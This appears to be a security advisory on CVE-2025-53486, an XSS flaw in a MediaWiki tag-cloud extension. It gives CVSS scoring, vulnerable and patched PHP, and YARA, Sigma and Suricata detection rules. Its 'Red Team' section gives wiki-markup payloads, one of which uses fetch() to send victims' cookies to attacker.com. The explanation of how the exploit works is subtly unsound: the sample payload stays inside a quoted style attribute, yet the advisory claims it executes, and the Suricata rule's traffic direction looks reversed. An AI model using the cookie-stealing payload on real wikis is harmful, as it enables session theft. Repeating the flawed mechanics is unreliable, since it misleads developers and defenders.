CVE-2025-53486

Executive Summary

CVE-2025-53486 is a reflected Cross-Site Scripting (XSS) vulnerability in the MediaWiki WikiCategoryTagCloud extension. The flaw arises from improper handling of the linkstyle attribute within the {{#tag:tagcloud}} parser function. The extension passes user-supplied input through Sanitizer::checkCss() (which only validates CSS syntax, not HTML) and then directly concatenates it into an inline style attribute without escaping. An attacker can inject JavaScript event handlers (e.g., onmouseenter) via the linkstyle parameter, leading to arbitrary JavaScript execution when a victim hovers over a link in the category cloud. This is a classic stored/reflected XSS with a low complexity attack vector, requiring user interaction (hovering) to trigger.

Supply Chain & Package Security

This vulnerability affects the MediaWiki extension ecosystem. MediaWiki is a widely deployed open-source wiki platform. The WikiCategoryTagCloud extension is typically installed via Composer or manual download from the MediaWiki extension repository. Organizations using MediaWiki should verify their extension version and apply the patch immediately. There is no known compromise of the official package repository, but the vulnerable code has been present in multiple release branches.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed to trigger the vulnerable parser function.
• User Interaction (UI): Required (R) – The victim must hover over a crafted link.
• Scope (S): Changed (C) – The injected script executes in the context of the wiki page, potentially accessing cookies, session tokens, or performing actions on behalf of the victim.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

CVSS Score: 6.1 (Medium)

Threat Level: Medium. While the CVSS score is moderate, the ease of exploitation and the potential for session hijacking or phishing within a trusted wiki environment elevate the risk for organizations relying on MediaWiki for internal documentation or collaboration.

Deep Dive & Mechanics

The vulnerability resides in the WikiCategoryTagCloud extension's handling of the linkstyle parameter. When a user invokes the {{#tag:tagcloud}} parser function, they can specify a linkstyle attribute to customize the CSS styling of links in the tag cloud. The extension code does the following:

1. Input Reception: The linkstyle value is extracted from the parser function arguments.
2. CSS Validation: The value is passed through Sanitizer::checkCss(). This function only validates that the input is syntactically valid CSS (e.g., it checks for balanced braces, valid property names). It does not escape or sanitize HTML entities or JavaScript event handlers.
3. String Concatenation: The validated (but unescaped) value is directly concatenated into an HTML style attribute using string concatenation, like:

   $style = 'style="' . $linkstyle . '"';
   

4. Output: This string is then inserted into the HTML output of the page.

An attacker can craft a linkstyle value that breaks out of the CSS context and injects an HTML event handler. For example:

linkstyle=color:red; onmouseenter=alert(1)

When the browser parses this, it sees:

<a style="color:red; onmouseenter=alert(1)" href="...">Link</a>

The onmouseenter attribute is a valid HTML event handler, and when the user hovers over the link, the JavaScript alert(1) executes.

The core issue is the use of string concatenation instead of MediaWiki's Html::element or Html::openElement functions, which automatically escape attribute values.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP):

// Vulnerable: Direct concatenation
$linkstyle = $parser->getOption('linkstyle');
$linkstyle = Sanitizer::checkCss($linkstyle); // Only CSS validation
$html = '<a style="' . $linkstyle . '" href="...">Link</a>';

Patched Code (Conceptual PHP):

// Patched: Using Html::element for proper escaping
$linkstyle = $parser->getOption('linkstyle');
$linkstyle = Sanitizer::checkCss($linkstyle);
$attribs = ['style' => $linkstyle, 'href' => '...'];
$html = Html::element( 'a', $attribs, 'Link' );

The patched version uses Html::element() which automatically HTML-encodes the attribute values, preventing injection of event handlers.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A MediaWiki instance with the vulnerable WikiCategoryTagCloud extension installed.
• Ability to edit or create a page with the {{#tag:tagcloud}} parser function (typically any user with edit rights).

Exploit Payload:

{{#tag:tagcloud|linkstyle=color:red; onmouseenter=alert(document.cookie)}}

Steps:

1. Create a new wiki page or edit an existing one.
2. Insert the payload above into the page content.
3. Save the page.
4. Send the link to the page to a victim.
5. When the victim hovers over any link in the tag cloud, the JavaScript executes.

Advanced Payload (Session Hijacking):

{{#tag:tagcloud|linkstyle=color:red; onmouseenter=fetch('https://attacker.com/steal?cookie='+document.cookie)}}

Blue Team (Detection & Hardening)

Detection:

• Monitor wiki page edits for the presence of {{#tag:tagcloud with suspicious linkstyle values containing event handlers (e.g., onmouse, onclick, onerror).
• Review web server logs for requests to pages containing the tagcloud parser function.
• Use a Web Application Firewall (WAF) to block requests containing onmouse in the linkstyle parameter.

Hardening:

• Immediately upgrade the WikiCategoryTagCloud extension to the patched version.
• If immediate patching is not possible, disable the extension temporarily.
• Implement Content Security Policy (CSP) headers to restrict inline script execution.
• Restrict edit permissions to trusted users only.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests containing {{#tag:tagcloud in the POST body or URL.
  • HTTP responses containing style="... onmouse in the HTML.
• Host:
  • Wiki page content containing {{#tag:tagcloud|linkstyle=...onmouse...}}.
  • Web server logs showing 200 responses to pages with the tagcloud parser function.
• File:
  • Modified wiki database entries (page content) containing the malicious parser function.

Detection Engineering

YARA Rule

rule CVE_2025_53486_WikiCategoryTagCloud_XSS {
    meta:
        description = "Detects malicious WikiCategoryTagCloud linkstyle injection"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-53486"
    strings:
        $payload1 = /{{#tag:tagcloud\|linkstyle=.*?on(mouse|click|error|load|focus|blur)/i
        $payload2 = /{{#tag:tagcloud\|linkstyle=.*?<script/i
        $payload3 = /{{#tag:tagcloud\|linkstyle=.*?javascript:/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-53486 WikiCategoryTagCloud XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit reflected XSS in WikiCategoryTagCloud extension
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '{{#tag:tagcloud'
        cs-uri-query|re: '(onmouse|onclick|onerror|javascript:)'
    condition: selection
falsepositives:
    - Legitimate use of CSS with unusual properties (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-53486 WikiCategoryTagCloud XSS Attempt";
    flow:to_server,established;
    content:"{{#tag:tagcloud"; http_client_body;
    pcre:"/(onmouse|onclick|onerror|javascript:)/Ri";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade the WikiCategoryTagCloud extension to version 1.39.13, 1.42.7, or 1.43.2 (depending on your MediaWiki branch).
2. Disable Extension: If patching is not immediately possible, disable the extension by removing or renaming the WikiCategoryTagCloud directory in the extensions/ folder.
3. Review Logs: Check web server and wiki logs for any signs of exploitation.

Long-Term Hardening:

• Implement a Content Security Policy (CSP) that restricts inline script execution (e.g., script-src 'self').
• Use a Web Application Firewall (WAF) with rules to block XSS payloads.
• Regularly update all MediaWiki extensions.
• Conduct security code reviews for custom or third-party extensions.
• Enforce the principle of least privilege for wiki editing permissions.

Valters IT